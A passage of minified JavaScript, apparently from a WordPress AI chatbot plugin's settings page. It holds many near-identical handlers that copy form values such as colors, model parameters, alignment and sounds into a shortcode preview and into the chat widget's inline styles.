selected + '!important;', origCSS); text_input.attr('style', updatedCSS); } } function aibackgroundcolorChanged_b() { var selected = jQuery('#ai_background_color_b').val(); var text_input = jQuery('.ai-bubble.ai-other'); if(selected != undefined && text_input !== null) { selected = selected.replace(/"/g, "'"); var customized_chatbot = jQuery('#customized_chatbot').text(); if(customized_chatbot !== undefined) { customized_chatbot = customized_chatbot.replace(/ai_background_color="([^"]*?)"/g, 'ai_background_color="' + selected + '"'); jQuery('#customized_chatbot').text(customized_chatbot); } var origCSS = text_input.attr("style"); if(origCSS === undefined) { origCSS = ""; } var updatedCSS = updateCSSAttribute('background-color', selected + '!important;', origCSS); text_input.attr('style', updatedCSS); } } function bordercolorChanged() { var selected = jQuery('#input_border_color').val(); var text_input = jQuery('.aiomatic_chat_input'); if(selected != undefined && text_input !== null) { var origCSS = text_input.attr("style"); if(origCSS === undefined) { origCSS = ""; } var updatedCSS = updateCSSAttribute('border-color', selected + '!important;', origCSS); text_input.attr('style', updatedCSS); } } function inputtextcolorChanged() { var selected = jQuery('#input_text_color').val(); var text_input = jQuery('.aiomatic_chat_input'); if(selected != undefined && text_input !== null) { var origCSS = text_input.attr("style"); if(origCSS === undefined) { origCSS = ""; } var updatedCSS = updateCSSAttribute('color', selected + '!important;', origCSS); text_input.attr('style', updatedCSS); } } function personanamecolorChanged() { var selected = jQuery('#persona_name_color').val(); var text_input = jQuery('.openai-persona-name'); if(selected != undefined && text_input !== null) { var origCSS = text_input.attr("style"); if(origCSS === undefined) { origCSS = ""; } var updatedCSS = updateCSSAttribute('color', selected + '!important;', origCSS); text_input.attr('style', updatedCSS); } } function personarolecolorChanged() { var selected = jQuery('#persona_role_color').val(); var text_input = jQuery('.openai-persona-role'); if(selected != undefined && text_input !== null) { var origCSS = text_input.attr("style"); if(origCSS === undefined) { origCSS = ""; } var updatedCSS = updateCSSAttribute('color', selected + '!important;', origCSS); text_input.attr('style', updatedCSS); } } function inputplaceholdercolorChanged() { var selected = jQuery('#input_placeholder_color').val(); var text_input = jQuery('.aiomatic_chat_input'); if(selected != undefined && text_input !== null) { jQuery('body').append('<style>.aiomatic_chat_input::placeholder{color:' + selected + '!important;}</style>'); } } function inputtextcolorChanged_b() { var selected = jQuery('#input_text_color_b').val(); var text_input = jQuery('.aiomatic_chat_input'); if(selected != undefined && text_input !== null) { selected = selected.replace(/"/g, "'"); var customized_chatbot = jQuery('#customized_chatbot').text(); if(customized_chatbot !== undefined) { customized_chatbot = customized_chatbot.replace(/input_text_color="([^"]*?)"/g, 'input_text_color="' + selected + '"'); jQuery('#customized_chatbot').text(customized_chatbot); } var origCSS = text_input.attr("style"); if(origCSS === undefined) { origCSS = ""; } var updatedCSS = updateCSSAttribute('color', selected + '!important;', origCSS); text_input.attr('style', updatedCSS); } } function personanamecolorChanged_b() { var selected = jQuery('#persona_name_color_b').val(); var text_input = jQuery('.openai-persona-name'); if(selected != undefined && text_input !== null) { selected = selected.replace(/"/g, "'"); var customized_chatbot = jQuery('#customized_chatbot').text(); if(customized_chatbot !== undefined) { customized_chatbot = customized_chatbot.replace(/persona_name_color="([^"]*?)"/g, 'persona_name_color="' + selected + '"'); jQuery('#customized_chatbot').text(customized_chatbot); } var origCSS = text_input.attr("style"); if(origCSS === undefined) { origCSS = ""; } var updatedCSS = updateCSSAttribute('color', selected + '!important;', origCSS); text_input.attr('style', updatedCSS); } } function personarolecolorChanged_b() { var selected = jQuery('#persona_role_color_b').val(); var text_input = jQuery('.openai-persona-role'); if(selected != undefined && text_input !== null) { selected = selected.replace(/"/g, "'"); var customized_chatbot = jQuery('#customized_chatbot').text(); if(customized_chatbot !== undefined) { customized_chatbot = customized_chatbot.replace(/persona_role_color="([^"]*?)"/g, 'persona_role_color="' + selected + '"'); jQuery('#customized_chatbot').text(customized_chatbot); } var origCSS = text_input.attr("style"); if(origCSS === undefined) { origCSS = ""; } var updatedCSS = updateCSSAttribute('color', selected + '!important;', origCSS); text_input.attr('style', updatedCSS); } } function inputplaceholdercolorChanged_b() { var selected = jQuery('#input_placeholder_color_b').val(); var text_input = jQuery('.aiomatic_chat_input'); if(selected != undefined && text_input !== null) { selected = selected.replace(/"/g, "'"); var customized_chatbot = jQuery('#customized_chatbot').text(); if(customized_chatbot !== undefined) { customized_chatbot = customized_chatbot.replace(/input_placeholder_color="([^"]*?)"/g, 'input_placeholder_color="' + selected + '"'); jQuery('#customized_chatbot').text(customized_chatbot); } jQuery('body').append('<style>.aiomatic_chat_input::placeholder{color:' + selected + '!important;}</style>'); } } function bordercolorChanged_b() { var selected = jQuery('#input_border_color_b').val(); var text_input = jQuery('.aiomatic_chat_input'); if(selected != undefined && text_input !== null) { selected = selected.replace(/"/g, "'"); var customized_chatbot = jQuery('#customized_chatbot').text(); if(customized_chatbot !== undefined) { customized_chatbot = customized_chatbot.replace(/input_border_color="([^"]*?)"/g, 'input_border_color="' + selected + '"'); jQuery('#customized_chatbot').text(customized_chatbot); } var origCSS = text_input.attr("style"); if(origCSS === undefined) { origCSS = ""; } var updatedCSS = updateCSSAttribute('border-color', selected + '!important;', origCSS); text_input.attr('style', updatedCSS); } } function placeholderChanged_b() { var selected = jQuery('#placeholder_b').val(); var text_input = jQuery('.aiomatic_chat_input'); if(selected != undefined && text_input !== null) { selected = selected.replace(/"/g, "'"); var customized_chatbot = jQuery('#customized_chatbot').text(); if(customized_chatbot !== undefined) { customized_chatbot = customized_chatbot.replace(/placeholder="([^"]*?)"/g, 'placeholder="' + selected + '"'); jQuery('#customized_chatbot').text(customized_chatbot); } text_input.attr("placeholder", selected); } } function modelChanged_b() { var selected = jQuery('#model_b').val(); if(selected != undefined) { selected = selected.replace(/"/g, "'"); var customized_chatbot = jQuery('#customized_chatbot').text(); if(customized_chatbot !== undefined) { customized_chatbot = customized_chatbot.replace(/model="([^"]*?)"/g, 'model="' + selected + '"'); jQuery('#customized_chatbot').text(customized_chatbot); } } aiomatic_check_vision_b(); } function temperatureChanged_b() { var selected = jQuery('#temperature_b').val(); if(selected != undefined) { selected = selected.replace(/"/g, "'"); var customized_chatbot = jQuery('#customized_chatbot').text(); if(customized_chatbot !== undefined) { customized_chatbot = customized_chatbot.replace(/temperature="([^"]*?)"/g, 'temperature="' + selected + '"'); jQuery('#customized_chatbot').text(customized_chatbot); } } } function toppChanged_b() { var selected = jQuery('#top_p_b').val(); if(selected != undefined) { selected = selected.replace(/"/g, "'"); var customized_chatbot = jQuery('#customized_chatbot').text(); if(customized_chatbot !== undefined) { customized_chatbot = customized_chatbot.replace(/top_p="([^"]*?)"/g, 'top_p="' + selected + '"'); jQuery('#customized_chatbot').text(customized_chatbot); } } } function presenceChanged_b() { var selected = jQuery('#presence_penalty_b').val(); if(selected != undefined) { selected = selected.replace(/"/g, "'"); var customized_chatbot = jQuery('#customized_chatbot').text(); if(customized_chatbot !== undefined) { customized_chatbot = customized_chatbot.replace(/presence_penalty="([^"]*?)"/g, 'presence_penalty="' + selected + '"'); jQuery('#customized_chatbot').text(customized_chatbot); } } } function frequencyChanged_b() { var selected = jQuery('#frequency_penalty_b').val(); if(selected != undefined) { selected = selected.replace(/"/g, "'"); var customized_chatbot = jQuery('#customized_chatbot').text(); if(customized_chatbot !== undefined) { customized_chatbot = customized_chatbot.replace(/frequency_penalty="([^"]*?)"/g, 'frequency_penalty="' + selected + '"'); jQuery('#customized_chatbot').text(customized_chatbot); } } } function contextChanged_b() { var selected = jQuery('#context_b').val(); if(selected != undefined) { selected = selected.replace(/"/g, "'"); var customized_chatbot = jQuery('#customized_chatbot').text(); if(customized_chatbot !== undefined) { customized_chatbot = customized_chatbot.replace(/chat_preppend_text="([^"]*?)"/g, 'chat_preppend_text="' + selected.replace('"', "'") + '"'); jQuery('#customized_chatbot').text(customized_chatbot); } } } function userChanged_b() { var selected = jQuery('#user_name_b').val(); if(selected != undefined) { selected = selected.replace(/"/g, "'"); var customized_chatbot = jQuery('#customized_chatbot').text(); if(customized_chatbot !== undefined) { customized_chatbot = customized_chatbot.replace(/user_message_preppend="([^"]*?)"/g, 'user_message_preppend="' + selected.replace('"', "'") + '"'); jQuery('#customized_chatbot').text(customized_chatbot); } } } function aiChanged_b() { var selected = jQuery('#ai_name_b').val(); if(selected != undefined) { selected = selected.replace(/"/g, "'"); var customized_chatbot = jQuery('#customized_chatbot').text(); if(customized_chatbot !== undefined) { customized_chatbot = customized_chatbot.replace(/ai_message_preppend="([^"]*?)"/g, 'ai_message_preppend="' + selected.replace('"', "'") + '"'); jQuery('#customized_chatbot').text(customized_chatbot); } } } function voiceOverwriteChanged_b() { var selected = jQuery('#chatbot_voice_b').val(); if(selected != undefined) { selected = selected.replace(/"/g, "'"); var customized_chatbot = jQuery('#customized_chatbot').text(); if(customized_chatbot !== undefined) { customized_chatbot = customized_chatbot.replace(/overwrite_voice="([^"]*?)"/g, 'overwrite_voice="' + selected.replace('"', "'") + '"'); jQuery('#customized_chatbot').text(customized_chatbot); } } } function imageAvatarOverwriteChanged_b() { var selected = jQuery('#chatbot_video_b').val(); if(selected != undefined) { selected = selected.replace(/"/g, "'"); var customized_chatbot = jQuery('#customized_chatbot').text(); if(customized_chatbot !== undefined) { customized_chatbot = customized_chatbot.replace(/overwrite_avatar_image="([^"]*?)"/g, 'overwrite_avatar_image="' + selected.replace('"', "'") + '"'); jQuery('#customized_chatbot').text(customized_chatbot); } } } function aiRole_b() { var selected = jQuery('#ai_role_b').val(); if(selected != undefined) { selected = selected.replace(/"/g, "'"); var customized_chatbot = jQuery('#customized_chatbot').text(); if(customized_chatbot !== undefined) { customized_chatbot = customized_chatbot.replace(/ai_role="([^"]*?)"/g, 'ai_role="' + selected.replace('"', "'") + '"'); jQuery('#customized_chatbot').text(customized_chatbot); } } } function messageChanged_b() { var selected = jQuery('#ai_message_b').val(); if(selected != undefined) { selected = selected.replace(/"/g, "'"); var customized_chatbot = jQuery('#customized_chatbot').text(); if(customized_chatbot !== undefined) { customized_chatbot = customized_chatbot.replace(/ai_first_message="([^"]*?)"/g, 'ai_first_message="' + selected.replace('"', "'") + '"'); jQuery('#customized_chatbot').text(customized_chatbot); } } } function internetChanged_b() { var selected = jQuery('#no_internet_b').val(); if(selected != undefined) { selected = selected.replace(/"/g, "'"); var customized_chatbot = jQuery('#customized_chatbot').text(); if(customized_chatbot !== undefined) { customized_chatbot = customized_chatbot.replace(/internet_access="([^"]*?)"/g, 'internet_access="' + selected.replace('"', "'") + '"'); jQuery('#customized_chatbot').text(customized_chatbot); } } } function internetAccessChanged_b() { var selected = jQuery('#show_internet_b').val(); if(selected != undefined) { selected = selected.replace(/"/g, "'"); var customized_chatbot = jQuery('#customized_chatbot').text(); if(customized_chatbot !== undefined) { customized_chatbot = customized_chatbot.replace(/show_internet="([^"]*?)"/g, 'show_internet="' + selected.replace('"', "'") + '"'); jQuery('#customized_chatbot').text(customized_chatbot); } } } function embeddingsChanged_b() { var selected = jQuery('#no_embeddings_b').val(); if(selected != undefined) { selected = selected.replace(/"/g, "'"); var customized_chatbot = jQuery('#customized_chatbot').text(); if(customized_chatbot !== undefined) { customized_chatbot = customized_chatbot.replace(/embeddings="([^"]*?)"/g, 'embeddings="' + selected.replace('"', "'") + '"'); jQuery('#customized_chatbot').text(customized_chatbot); } } } function instantChanged_b() { var selected = jQuery('#instant_response_b').val(); if(selected != undefined) { selected = selected.replace(/"/g, "'"); var customized_chatbot = jQuery('#customized_chatbot').text(); if(customized_chatbot !== undefined) { customized_chatbot = customized_chatbot.replace(/instant_response="([^"]*?)"/g, 'instant_response="' + selected + '"'); jQuery('#customized_chatbot').text(customized_chatbot); } } } function modeChanged_b() { var selected = jQuery('#chat_mode_b').val(); if(selected != undefined) { selected = selected.replace(/"/g, "'"); var customized_chatbot = jQuery('#customized_chatbot').text(); if(customized_chatbot !== undefined) { customized_chatbot = customized_chatbot.replace(/chat_mode="([^"]*?)"/g, 'chat_mode="' + selected.replace('"', "'") + '"'); jQuery('#customized_chatbot').text(customized_chatbot); } } } function headerChanged_b() { var selected = jQuery('#show_header_b').val(); var header_me = jQuery('.openai-card-header'); if(selected != undefined) { selected = selected.replace(/"/g, "'"); var customized_chatbot = jQuery('#customized_chatbot').text(); if(customized_chatbot !== undefined) { customized_chatbot = customized_chatbot.replace(/show_header="([^"]*?)"/g, 'show_header="' + selected.replace('"', "'") + '"'); jQuery('#customized_chatbot').text(customized_chatbot); } if(selected == 'show') { header_me.show(); } else { header_me.hide(); } } } function bubbleChanged_b() { var selected = jQuery('#bubble_width_b').val(); jQuery('.ai-bubble').each(function() { var bubble_me = jQuery(this); if(selected != undefined) { selected = selected.replace(/"/g, "'"); var customized_chatbot = jQuery('#customized_chatbot').text(); if(customized_chatbot !== undefined) { customized_chatbot = customized_chatbot.replace(/bubble_width="([^"]*?)"/g, 'bubble_width="' + selected.replace('"', "'") + '"'); jQuery('#customized_chatbot').text(customized_chatbot); } var origCSS = bubble_me.attr("style"); if(origCSS === undefined) { origCSS = ""; } if(selected == 'full') { var updatedCSS = updateCSSAttribute('width', '100%!important;', origCSS); } else { var updatedCSS = updateCSSAttribute('width', 'auto!important;', origCSS); } bubble_me.attr('style', updatedCSS); } }); } function bubbleAlignChanged_b() { var selected = jQuery('#bubble_alignment_b').val(); jQuery('.ai-bubble.ai-other').each(function() { var bubble_me = jQuery(this); if(selected != undefined) { selected = selected.replace(/"/g, "'"); var customized_chatbot = jQuery('#customized_chatbot').text(); if(customized_chatbot !== undefined) { customized_chatbot = customized_chatbot.replace(/bubble_alignment="([^"]*?)"/g, 'bubble_alignment="' + selected.replace('"', "'") + '"'); jQuery('#customized_chatbot').text(customized_chatbot); } var origCSS = bubble_me.attr("style"); if(origCSS === undefined) { origCSS = ""; } if(selected == 'left') { var updatedCSS = updateCSSAttribute('margin-left', 'unset!important;', origCSS); updatedCSS = updateCSSAttribute('margin-right', 'auto!important;', updatedCSS); } else { if(selected == 'right') { var updatedCSS = updateCSSAttribute('margin-right', 'unset!important;', origCSS); updatedCSS = updateCSSAttribute('margin-left', 'auto!important;', updatedCSS); } else { var updatedCSS = updateCSSAttribute('margin-left', 'auto!important;', origCSS); updatedCSS = updateCSSAttribute('margin-right', 'auto!important;', updatedCSS); } } bubble_me.attr('style', updatedCSS); } }); } function bubbleUserAlignChanged_b() { var selected = jQuery('#bubble_user_alignment_b').val(); jQuery('.ai-bubble.ai-mine').each(function() { var bubble_me = jQuery(this); if(selected != undefined) { selected = selected.replace(/"/g, "'"); var customized_chatbot = jQuery('#customized_chatbot').text(); if(customized_chatbot !== undefined) { customized_chatbot = customized_chatbot.replace(/bubble_user_alignment="([^"]*?)"/g, 'bubble_user_alignment="' + selected.replace('"', "'") + '"'); jQuery('#customized_chatbot').text(customized_chatbot); } var origCSS = bubble_me.attr("style"); if(origCSS === undefined) { origCSS = ""; } if(selected == 'left') { var updatedCSS = updateCSSAttribute('margin-left', 'unset!important;', origCSS); updatedCSS = updateCSSAttribute('margin-right', 'auto!important;', updatedCSS); } else { if(selected == 'right') { var updatedCSS = updateCSSAttribute('margin-right', 'unset!important;', origCSS); updatedCSS = updateCSSAttribute('margin-left', 'auto!important;', updatedCSS); } else { var updatedCSS = updateCSSAttribute('margin-left', 'auto!important;', origCSS); updatedCSS = updateCSSAttribute('margin-right', 'auto!important;', updatedCSS); } } bubble_me.attr('style', updatedCSS); } }); } function speechChanged_b() { var selected = jQuery('#chatbot_text_speech_b').val(); if(selected != undefined) { selected = selected.replace(/"/g, "'"); var customized_chatbot = jQuery('#customized_chatbot').text(); if(customized_chatbot !== undefined) { customized_chatbot = customized_chatbot.replace(/chatbot_text_speech="([^"]*?)"/g, 'chatbot_text_speech="' + selected.replace('"', "'") + '"'); jQuery('#customized_chatbot').text(customized_chatbot); } } } function uploadPdfChanged_b() { var selected = jQuery('#upload_pdf_b').val(); if(selected != undefined) { selected = selected.replace(/"/g, "'"); var customized_chatbot = jQuery('#customized_chatbot').text(); if(customized_chatbot !== undefined) { customized_chatbot = customized_chatbot.replace(/upload_pdf="([^"]*?)"/g, 'upload_pdf="' + selected.replace('"', "'") + '"'); jQuery('#customized_chatbot').text(customized_chatbot); } } } function godModeChanged_b() { var selected = jQuery('#enable_god_mode_b').val(); if(selected != undefined) { selected = selected.replace(/"/g, "'"); var customized_chatbot = jQuery('#customized_chatbot').text(); if(customized_chatbot !== undefined) { customized_chatbot = customized_chatbot.replace(/enable_god_mode="([^"]*?)"/g, 'enable_god_mode="' + selected.replace('"', "'") + '"'); jQuery('#customized_chatbot').text(customized_chatbot); } } } function txtChanged_b() { var selected = jQuery('#show_dltxt_b').val(); var export_txt = jQuery('.ai-export-txt'); if(selected != undefined) { selected = selected.replace(/"/g, "'"); var customized_chatbot = jQuery('#customized_chatbot').text(); if(customized_chatbot !== undefined) { customized_chatbot = customized_chatbot.replace(/show_dltxt="([^"]*?)"/g, 'show_dltxt="' + selected.replace('"', "'") + '"'); jQuery('#customized_chatbot').text(customized_chatbot); } if(selected == 'show') { export_txt.show(); } else { export_txt.hide(); } } } function muteChanged_b() { var selected = jQuery('#show_mute_b').val(); var export_txt = jQuery('.aiomatic-gg-mute'); if(selected != undefined && export_txt != undefined && export_txt != null) { selected = selected.replace(/"/g, "'"); var customized_chatbot = jQuery('#customized_chatbot').text(); if(customized_chatbot !== undefined) { customized_chatbot = customized_chatbot.replace(/show_mute="([^"]*?)"/g, 'show_mute="' + selected.replace('"', "'") + '"'); jQuery('#customized_chatbot').text(customized_chatbot); } if(selected == 'show') { export_txt.show(); } else { export_txt.hide(); } } var export_txt = jQuery('.aiomatic-gg-unmute'); if(selected != undefined && export_txt != undefined && export_txt != null) { selected = selected.replace(/"/g, "'"); var customized_chatbot = jQuery('#customized_chatbot').text(); if(customized_chatbot !== undefined) { customized_chatbot = customized_chatbot.replace(/show_mute="([^"]*?)"/g, 'show_mute="' + selected.replace('"', "'") + '"'); jQuery('#customized_chatbot').text(customized_chatbot); } if(selected == 'show') { export_txt.show(); } else { export_txt.hide(); } } } function clearChanged_b() { var selected = jQuery('#show_clear_b').val(); var export_txt = jQuery('.ai-clear-chat'); if(selected != undefined) { selected = selected.replace(/"/g, "'"); var customized_chatbot = jQuery('#customized_chatbot').text(); if(customized_chatbot !== undefined) { customized_chatbot = customized_chatbot.replace(/show_clear="([^"]*?)"/g, 'show_clear="' + selected.replace('"', "'") + '"'); jQuery('#customized_chatbot').text(customized_chatbot); } if(selected == 'show') { export_txt.show(); } else { export_txt.hide(); } } } function assistantID_b() { var selected = jQuery('#assistant_id_b').val(); if(selected != undefined) { selected = selected.replace(/"/g, "'"); var customized_chatbot = jQuery('#customized_chatbot').text(); if(customized_chatbot !== undefined) { customized_chatbot = customized_chatbot.replace(/assistant_id="([^"]*?)"/g, 'assistant_id="' + selected.replace('"', "'") + '"'); jQuery('#customized_chatbot').text(customized_chatbot); } if(selected != '' && selected != null) { jQuery('.hideAssistantID').attr('disabled','disabled'); } else { jQuery('.hideAssistantID').removeAttr('disabled'); } } } function selectPromptChanged_b() { var selected = jQuery('#select_prompt_b').val(); if(selected != undefined) { selected = selected.replace(/"/g, "'"); var customized_chatbot = jQuery('#customized_chatbot').text(); if(customized_chatbot !== undefined) { customized_chatbot = customized_chatbot.replace(/select_prompt="([^"]*?)"/g, 'select_prompt="' + selected.replace('"', "'") + '"'); jQuery('#customized_chatbot').text(customized_chatbot); } } } function customFooterChanged_b() { var selected = aiomaticGetEditorContent('custom_footer_b'); if(selected != undefined) { selected = selected.replace(/"/g, "'"); var customized_chatbot = jQuery('#customized_chatbot').text(); if(customized_chatbot !== undefined) { customized_chatbot = customized_chatbot.replace(/custom_footer="([^"]*?)"/g, 'custom_footer="' + selected.replace('"', "'") + '"'); jQuery('#customized_chatbot').text(customized_chatbot); } } } function customCSSChanged_b() { var selected = aiomaticGetEditorContent('custom_css_b'); if(selected != undefined) { selected = selected.replace(/"/g, "'"); var customized_chatbot = jQuery('#customized_chatbot').text(); if(customized_chatbot !== undefined) { customized_chatbot = customized_chatbot.replace(/custom_css="([^"]*?)"/g, 'custom_css="' + selected.replace('"', "'") + '"'); jQuery('#customized_chatbot').text(customized_chatbot); } } } function sendSoundChanged_b() { var selected = jQuery('#send_message_sound_b').val(); if(selected != undefined) { selected = selected.replace(/"/g, "'"); var customized_chatbot = jQuery('#customized_chatbot').text(); if(customized_chatbot !== undefined) { customized_chatbot = customized_chatbot.replace(/send_message_sound="([^"]*?)"/g, 'send_message_sound="' + selected.replace('"', "'") + '"'); jQuery('#customized_chatbot').text(customized_chatbot); } } } function receiveSoundChanged_b() { var selected = jQuery('#receive_message_sound_b').val(); if(selected != undefined) { selected = selected.replace(/"/g, "'"); var customized_chatbot = jQuery('#customized_chatbot').text(); if(customized_chatbot !== undefined) { customized_chatbot = customized_chatbot.replace(/receive_message_sound="([^"]*?)"/g, 'receive_message_sound="' + selected.replace('"', "'") + '"'); jQuery('#customized_chatbot').text(customized_chatbot); } } } function responseDelayChanged_b() { var selected = jQuery('#response_delay_b').val(); if(selected != undefined) { selected = selected.replace(/"/g, "'"); var customized_chatbot = jQuery('#customized_chatbot').text(); if(customized_chatbot !== undefined) { customized_chatbot = customized_chatbot.replace(/response_delay="([^"]*?)"/g, 'response_delay="' + selected.replace('"', "'") + '"'); jQuery('#customized_chatbot').text(customized_chatbot); } } } function customHeaderChanged_b() { var selected = aiomaticGetEditorContent('custom_header_b'); if(selected != undefined) { selected = selected.replace(/"/g, "'"); var customized_chatbot = jQuery('#customized_chatbot').text(); if(customized_chatbot !== undefined) { customized_chatbot = customized_chatbot.replace(/custom_header="([^"]*?)"/g, 'custom_header="' + selected.replace('"', "'") + '"'); jQuery('#customized_chatbot').text(customized_chatbot); } } } function persistentChanged_b() { var selected = jQuery('#persistent_b').val(); if(selected != undefined) { selected = selected.replace(/"/g, "'"); var customized_chatbot = jQuery('#customized_chatbot').text(); if(customized_chatbot !== undefined) { customized_chatbot = customized_chatbot.replace(/persistent="([^"]*?)"/g, 'persistent="' + selected.replace('"', "'") + '"'); jQuery('#customized_chatbot').text(customized_chatbot); } } } function fileUploadChanged_b() { var selected = jQuery('#enable_file_uploads_b').val(); if(selected != undefined) { selected = selected.replace(/"/g, "'"); var customized_chatbot = jQuery('#customized_chatbot').text(); if(customized_chatbot !== undefined) { customized_chatbot = customized_chatbot.replace(/file_uploads="([^"]*?)"/g, 'file_uploads="' + selected.replace('"', "'") + '"'); jQuery('#customized_chatbot').text(customized_chatbot); } } } function visionChanged_b() { var selected = jQuery('#enable_vision_b').val(); if(selected != undefined) { selected = selected.replace(/"/g, "'"); var customized_chatbot = jQuery('#customized_chatbot').text(); if(customized_chatbot !== undefined) { customized_chatbot = customized_chatbot.replace(/enable_vision="([^"]*?)"/g, 'enable_vision="' + selected.replace('"', "'") + '"'); jQuery('#customized_chatbot').text(customized_chatbot); } } } function imageChanged_b() { var selected = jQuery('#aiomatic_image_id_b').val(); if(selected != undefined) { selected = selected.replace(/"/g, "'"); var customized_chatbot = jQuery('#customized_chatbot').text(); if(customized_chatbot !== undefined) { customized_chatbot = customized_chatbot.replace(/ai_avatar="([^"]*?)"/g, 'ai_avatar="' + selected.replace('"', "'") + '"'); jQuery('#customized_chatbot').text(customized_chatbot); } } } function imageUserChanged_b() { var selected = jQuery('#aiomatic_image_id_user_b').val(); if(selected != undefined) { selected = selected.replace(/"/g, "'"); var customized_chatbot = jQuery('#customized_chatbot').text(); if(customized_chatbot !== undefined) { customized_chatbot = customized_chatbot.replace(/user_avatar="([^"]*?)"/g, 'user_avatar="' + selected.replace('"', "'") + '"'); jQuery('#customized_chatbot').text(customized_chatbot); } } } function templateChanged_b() { var selected = jQuery('#template_b').val(); if(selected != undefined) { selected = selected.replace(/"/g, "'"); var customized_chatbot = jQuery('#customized_chatbot').text(); if(customized_chatbot !== undefined) { customized_chatbot = customized_chatbot.replace(/prompt_templates="([^"]*?)"/g, 'prompt_templates="' + selected.replace('"', "'") + '"'); jQuery('#customized_chatbot').text(customized_chatbot); } } } function editableChanged_b() { var selected = jQuery('#prompt_editable_b').val(); if(selected != undefined) { selected = selected.replace(/"/g, "'"); var customized_chatbot = jQuery('#customized_chatbot').text(); if(customized_chatbot !== undefined) { customized_chatbot = customized_chatbot.replace(/prompt_editable="([^"]*?)"/g, 'prompt_editable="' + selected.replace('"', "'") + '"'); jQuery('#customized_chatbot').text(customized_chatbot); } } } function frontChanged_b() { var selected = jQuery('#enable_front_end_b').val(); if(selected != undefined) { selected = selected.replace(/"/g, "'"); var customized_chatbot = jQuery('#customized_chatbot').text(); if(customized_chatbot !== undefined) { customized_chatbot = customized_chatbot.replace(/show_in_window="([^"]*?)"/g, 'show_in_window="' + selected.replace('"', "'") + '"'); jQuery('#customized_chatbot').text(customized_chatbot); } } } function locationChanged_b() { var selected = jQuery('#window_location_b').val(); if(selected != undefined) { selected = selected.replace(/"/g, "'"); var customized_chatbot = jQuery('#customized_chatbot').text(); if(customized_chatbot !== undefined) { customized_chatbot = customized_chatbot.replace(/window_location="([^"]*?)"/g, 'window_location="' + selected.replace('"', "'") + '"'); jQuery('#customized_chatbot').text(customized_chatbot); } } } function submitChanged_b() { var selected = jQuery('#submit_b').val(); var text_input = jQuery('.aichatsubmitbut'); if(selected != undefined && text_input !== null) { selected = selected.replace(/"/g, "'"); if(selected == '') { selected = 'Submit'; } var customized_chatbot = jQuery('#customized_chatbot').text(); if(customized_chatbot !== undefined) { customized_chatbot = customized_chatbot.replace(/submit="([^"]*?)"/g, 'submit="' + selected.replace('"', "'") + '"'); jQuery('#customized_chatbot').text(customized_chatbot); } text_input.prop('value', selected); text_input.text(selected); } } function complianceChanged_b() { var selected = jQuery('#compliance_b').val(); var text_input = jQuery('.compliance-text-ai'); if(selected != undefined && text_input !== null) { selected = selected.replace(/"/g, "'"); var customized_chatbot = jQuery('#customized_chatbot').text(); if(customized_chatbot !== undefined) { customized_chatbot = customized_chatbot.replace(/compliance="([^"]*?)"/g, 'compliance="' + selected.replace('"', "'") + '"'); jQuery('#customized_chatbot').text(customized_chatbot); } text_input.html(selected); } } function submitcolorChanged() { var selected = jQuery('#submit_color').val(); var text_input = jQuery('.aichatsubmitbut'); if(selected != undefined && text_input !== null) { var origCSS = text_input.attr("style"); if(origCSS === undefined) { origCSS = ""; } var updatedCSS = updateCSSAttribute('background-color', selected + '!important;', origCSS); text_input.attr('style', updatedCSS); } var text_input = jQuery('#aiimagechatsubmitbut'); if(selected != undefined && text_input !== null) { var origCSS = text_input.attr("style"); if(origCSS === undefined) { origCSS = ""; } var updatedCSS = updateCSSAttribute('background-color', selected + '!important;', origCSS); text_input.attr('style', updatedCSS); } } function submitcolorChanged_b() { var selected = jQuery('#submit_color_b').val(); var text_input = jQuery('.aichatsubmitbut'); if(selected != undefined && text_input !== null) { selected = selected.replace(/"/g, "'"); var customized_chatbot = jQuery('#customized_chatbot').text(); if(customized_chatbot !== undefined) { customized_chatbot = customized_chatbot.replace(/submit_color="([^"]*?)"/g, 'submit_color="' + selected + '"'); jQuery('#customized_chatbot').text(customized_chatbot); } var origCSS = text_input.attr("style"); if(origCSS === undefined) { origCSS = ""; } var updatedCSS = updateCSSAttribute('background-color', selected + '!important;', origCSS); text_input.attr('style', updatedCSS); } var text_input = jQuery('#aiimagechatsubmitbut'); if(selected != undefined && text_input !== null) { var origCSS = text_input.attr("style"); if(origCSS === undefined) { origCSS = ""; } var updatedCSS = updateCSSAttribute('background-color', selected + '!important;', origCSS); text_input.attr('style', updatedCSS); } } function voicecolorChanged() { var selected = jQuery('#voice_color').val(); var text_input = jQuery('.openai-chat-speech-button'); if(selected != undefined && text_input !== null) { var origCSS = text_input.attr("style"); if(origCSS === undefined) { origCSS = ""; } var updatedCSS = updateCSSAttribute('background-color', selected + '!important;', origCSS); text_input.attr('style', updatedCSS); } var text_input = jQuery('#openai-image-speech-button'); if(selected != undefined && text_input !== null) { var origCSS = text_input.attr("style"); if(origCSS === undefined) { origCSS = ""; } var updatedCSS = updateCSSAttribute('background-color', selected + '!important;', origCSS); text_input.attr('style', updatedCSS); } } function voicecolorChanged_b() { var selected = jQuery('#voice_color_b').val(); var text_input = jQuery('.openai-chat-speech-button'); if(selected != undefined && text_input !== null) { selected = selected.replace(/"/g, "'"); var customized_chatbot = jQuery('#customized_chatbot').text(); if(customized_chatbot !== undefined) { customized_chatbot = customized_chatbot.replace(/voice_color="([^"]*?)"/g, 'voice_color="' + selected + '"'); jQuery('#customized_chatbot').text(customized_chatbot); } var origCSS = text_input.attr("style"); if(origCSS === undefined) { origCSS = ""; } var updatedCSS = updateCSSAttribute('background-color', selected + '!important;', origCSS); text_input.attr('style', updatedCSS); } var text_input = jQuery('#openai-image-speech-button'); if(selected != undefined && text_input !== null) { var origCSS = text_input.attr("style"); if(origCSS === undefined) { origCSS = ""; } var updatedCSS = updateCSSAttribute('background-color', selected + '!important;', origCSS); text_input.attr('style', updatedCSS); } } function voicecolorActivatedChanged_b() { var selected = jQuery('#voice_color_activated_b').val(); var text_input = jQuery('.openai-chat-speech-button'); if(selected != undefined && text_input !== null) { selected = selected.replace(/"/g, "'"); var customized_chatbot = jQuery('#customized_chatbot').text(); if(customized_chatbot !== undefined) { customized_chatbot = customized_chatbot.replace(/voice_color_activated="([^"]*?)"/g, 'voice_color_activated="' + selected + '"'); jQuery('#customized_chatbot').text(customized_chatbot); } } } function submittextcolorChanged() { var selected = jQuery('#submit_text_color').val(); var text_input = jQuery('.aichatsubmitbut'); if(selected != undefined && text_input !== null) { var origCSS = text_input.attr("style"); if(origCSS === undefined) { origCSS = ""; } var updatedCSS = updateCSSAttribute('color', selected + '!important;', origCSS); text_input.attr('style', updatedCSS); } var text_input = jQuery('#aiimagechatsubmitbut'); if(selected != undefined 